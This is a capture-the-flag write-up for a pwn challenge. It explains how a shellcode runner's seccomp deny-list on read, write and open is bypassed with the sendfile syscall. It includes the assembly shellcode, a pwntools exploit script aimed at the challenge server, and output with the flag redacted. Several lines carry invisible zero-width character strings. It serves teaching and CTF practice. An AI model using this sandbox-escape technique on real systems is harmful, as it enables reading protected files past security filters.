← Back to Writeups
CUSTOMMediumpwn

read_me_not — sendfile bypass

XESXOR9/2/20262 min read
#pwn#custom#medium#kernel_space_copy#sendfile_syscall_bypass#syscall_denylist_bypass#linux

read_me_not — sendfile bypass

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: kernel_space_copy, sendfile_syscall_bypass, syscall_denylist_bypass

Summary

Task: shellcode runner opens /flag for us, places the fd in rdi, and then installs seccomp KILL rules for read/write/open. Solution: use sendfile (syscall 40) to copy the open flag fd to stdout entirely in kernel space, which never invokes the forbidden sys_read/sys_write and escapes the filter.

read_me_not — SPB CTF Pwn Season

Description

Category: shellcoding (pwn4), 10 pts nc 109.233.56.90 11613 Binary: read_me_not

English summary: the binary helpfully opens /flag for us and hands the file descriptor to our shellcode in rdi, but right before that it installs a seccomp filter that KILLs read, write, and open. We have to exfiltrate the flag without those three primitives.

Analysis

The control flow of main:

  1. mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE, -1, 0) — creates an RWX page.
  2. fd = open("/flag", O_RDONLY) — stores the flag fd in [rbp-0x14].
  3. read(0, mmap_buf, 0x1000) — reads our shellcode.
  4. Builds a libseccomp filter: seccomp_init(SCMP_ACT_ALLOW), then KILL rules for syscalls 0 (read), 1 (write), 2 (open), then seccomp_load().
  5. rdi = fd; call rax — transfers control to our shellcode with the flag fd pre-loaded in rdi. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So we start running with:

  • rdi = open fd of /flag
  • an RWX page under our control
  • a filter that kills read, write, open immediately

The key insight is that sendfile(2) is syscall 40 and is not in the deny list. sendfile(out_fd, in_fd, offset, count) copies bytes between two file descriptors entirely inside the kernel — it does not internally hit sys_read/sys_write from userspace perspective and is not filtered.

Solution

41-byte shellcode:

asm
mov rsi, rdi        ; in_fd  = flag fd (received via rdi)
mov rdi, 1          ; out_fd = stdout
xor rdx, rdx        ; offset = NULL  (copy from current position)
mov r10, 0x200      ; count  = 512 bytes
mov rax, 40         ; SYS_sendfile
syscall
xor rdi, rdi
mov rax, 231        ; SYS_exit_group
syscall

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The amd64 Linux syscall ABI uses rdi, rsi, rdx, r10, r8, r9, so the fourth argument (count) goes in r10, not rcx.

On macOS the GNU x86_64-linux-gnu assembler that pwntools expects was missing, so we assemble via keystone directly:

python
#!/usr/bin/env python3
from pwn import *
from keystone import Ks, KS_ARCH_X86, KS_MODE_64

context.arch = 'amd64'

sc_src = (
    "mov rsi, rdi;"
    "mov rdi, 1;"
    "xor rdx, rdx;"
    "mov r10, 0x200;"
    "mov rax, 40;"
    "syscall;"
    "xor rdi, rdi;"
    "mov rax, 231;"
    "syscall"
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, _ = ks.asm(sc_src)
shellcode = bytes(encoding)
log.info(f"Shellcode length: {len(shellcode)}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

p = remote('109.233.56.90', 11613)
p.recvuntil(b'shellcode:')
p.send(shellcode)
print(p.recvall(timeout=5).decode(errors='replace'))

Remote output:

[-] executing shellcode...
spbctf{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍